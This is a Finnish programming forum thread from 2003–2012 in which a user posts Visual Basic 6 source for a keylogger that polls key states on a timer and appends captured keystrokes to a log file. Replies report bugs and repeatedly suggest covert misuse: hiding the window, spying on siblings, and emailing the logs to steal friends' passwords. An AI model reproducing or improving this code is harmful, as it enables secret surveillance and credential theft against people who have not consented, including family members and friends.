Kirjautuminen

Haku

Tehtävät

Keskustelu: Koodit: VB6: Näppäimistöloki

Sivun loppuun

solof [10.02.2003 21:16:48]

#

Nopeasti tehty näppäimistö loki joka kirjoittaa "jokaisen" näppäimen painaluksen lokiin aina 50 painaluksen välein.
Koodi vaatii timerin(Timer1).
Kannatta asettaa arvo timer1.interval sopivaksi olen huomannut että näppäinten scannaus nopeus vaihtelee eri koneilla. loki tiedosto on loki.txt ja se on joko ohjelman kanssa samassa kansiossa tai VB:n kansiossa

'Näppäimistö Loki
'T: Solof

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Merkki As Integer
Dim Sana As String


Private Sub Form_Load()
    'Form1.Visible = False 'piilota formi tällä jos haluat
    Timer1.Interval = 100 'Tämä täytyy kalibroida koneen mukaan
    '(näppäinten skannauksen välinen aika)

    Timer1.Enabled = True
    Sana = ""
    Merkki = 0

End Sub

Private Sub Form_Unload(Cancel As Integer)
    Savettaa 'jos lopetetaan yllättäen talenna
End Sub

Private Sub Timer1_Timer()


    For kk = 65 To 90 'käydään läpi isot kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 97 To 122 'käydään läpi pienet kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 47 To 58 'käydään läpi numerot
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space

    If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
    If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
    If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä

    Exit Sub
uush:

    Sana = Sana & Chr(pk) 'lisätään sanaan merkki
    Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
    If Merkki >= 50 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
    'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)

End Sub

Sub Savettaa()
    'Tallentaa kun 50 merkkiä painettu
    Open App.Path & "\loki.txt" For Append As #1
        Print #1, Sana 'tiedostoon ohjelman_polku/loki.txt tai VB:n kansio/loki.txt
    Close #1
    Merkki = 1
    Sana = ""

End Sub

Antti Laaksonen [10.02.2003 22:29:59]

#

Ihan mukavasti toimii, ja vielä hyödyllinen vinkki. Joskus tulee virheitä näppäinten tulkitsemisessa, mutta koneella kirjoitetun tekstin lukeminen tiedostosta kyllä onnistuu jälkikäteen.

progo [11.02.2003 08:03:08]

#

Laadukas vakoilusoftan alku :P

Teme [11.02.2003 16:17:33]

#

Hyvä solof, sulta näköjään tulee sitä koodia vähän enemmänkin. Kuinkas monta koodivinkkiä olet kirjoittanut tänään?

Gwaur [12.02.2003 15:15:26]

#

Tallentaako tää noita lokeja muotoon:

m
o
i
k
k
a

vai jotenkin että:

[12.12] m
[12.12] o
[12.12] i
jne..

vai miten se sen tallentaa?

snakari [12.02.2003 16:06:41]

#

SUNSI­OI­AAFDD­FIDJFKGGDFHGGHHFHDJG­JIIF­FAAF­JA­FIMDGIID
IIMIMMIOIMISIMIISMSIMISIIMOS NNOP ARAS AINA1HHHH
HHHHHHHJH
tollain tallentaa.
ihan kiva ja hyödyllinen vinkki

SQ [21.05.2003 21:55:02]

#

Siinähän vasta oivallinen vakoiluohjelma, jos sais vielä jotenkin piilotettua. Vois vähä seurata millä sivuilla isoveli käy. :P

SQ [21.05.2003 21:55:21]

#

Siinähän vasta oivallinen vakoiluohjelma, jos sais vielä jotenkin piilotettua. Vois vähä seurata millä sivuilla isoveli käy. :P

kaviaari [24.07.2003 16:46:22]

#

Form loadiin Form1.hide :)

Monkkats [20.09.2003 23:17:32]

#

Toihan on hieno keyloggeri :) Jee yks parhaista jutuista mitä oon nähny tääl ;)

tabbiz [21.10.2003 18:39:52]

#

Miten toi kalibroidaan ?

Gaxx [24.01.2004 22:35:06]

#

kokeilet siihen vaan sopivan luvun

Bagard [29.01.2004 16:10:43]

#

Löytyykö exeä mistään?

KuinKala [26.05.2004 17:22:37]

#

tästäpä sitten vääntämään siskopuolen koneelle vakoiluaohjelmaa :P

Saxu [08.06.2004 11:36:37]

#

Mulle se luettelee jotain X sekaan sinne logitiedostoon ja ne kirjaimet ei joskus pidä paikkaansa... miten korjataan?

tesmu [19.07.2004 15:26:19]

#

siis tostahan pystyis tekee helposti sellasen jolla saa kaverin esim salasanat selville :( tekee vaan sen ohjelman sisään sähköposti lähetys formin ja sit se lähettää näppäimistöloen omaan sähköpostiin :D

Mestre [25.07.2004 18:09:06]

#

Toi ei erota isoi ja pieniii kirjaimii toisistaa ja tunnistaa erikoismerkit väärin.

hohoo [24.09.2004 14:55:02]

#

Kiva hax0riohjelma mutta ei ole siskoja/veljiä niin ei ole käyttöä xD xD

haxhax

D4_B34M [06.11.2004 11:51:46]

#

ei tunnista pieni kirjaimia tai siis tunnistaa kaiken isolla ja toi klibrointi ei oikeen suju.. oon kokeillu 1000 eri numeroo varmaan jo eikä ku pahene

hunajavohveli [20.03.2005 15:24:19]

#

Tulee vain pitkiä rivejä G:tä. Pitänee yrittää väsätä oma systeemi noilla API-funktioilla...

Feel Free [03.04.2005 19:45:39]

#

Toimii hyvin, mutta pistäkää puolipilkku tohon:

Open App.Path & "\loki.txt" For Append As #1
    Print #1; ' <--- tohon puolipilkku

niin se kirjoittaa sen samaan riviin :P

Jomppes [09.07.2005 18:34:28]

#

kirjottaa kaiken isolla saisko myös pienet kirjaimet toimimaan?

aloitteleva [09.08.2005 21:29:20]

#

Mites sen sais niin et se läettäis sen tekstin nettiin?

Waltsu [27.09.2005 11:25:06]

#

Eikös tämä ole koodivinkki, ei valmis ohjelma. :D

Thugcln [08.01.2006 22:12:30]

#

Ei toimi ollenkaan tulee vaa error laitoin koodia formiin ja vaikka minne ! Se timeri miten sen saa käyttöön ?

Lumi-ukkeli [16.01.2006 09:52:57]

#

lainaus:

tästäpä sitten vääntämään siskopuolen koneelle vakoiluaohjelmaa :P

Yhdistät tän loggerin vaikka tuohon-> https://www.ohjelmointiputka.net/koodivinkit/24142-vb6-tcp-ip-keskustelu

Jakke1 [22.11.2007 23:07:36]

#

Vielä tuo lähettämään tietoa omaan s-postiin tai websivulle. ;)

Jakke1 [20.12.2007 09:10:04]

#

tesmu kirjoitti:

siis tostahan pystyis tekee helposti sellasen jolla saa kaverin esim salasanat selville :( tekee vaan sen ohjelman sisään sähköposti lähetys formin ja sit se lähettää näppäimistöloen omaan sähköpostiin :D

Sanon että tulis muutama sähköposti

kalle69 [05.01.2012 17:36:48]

#

minne tuo tallentaa ne lokit??? :D


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta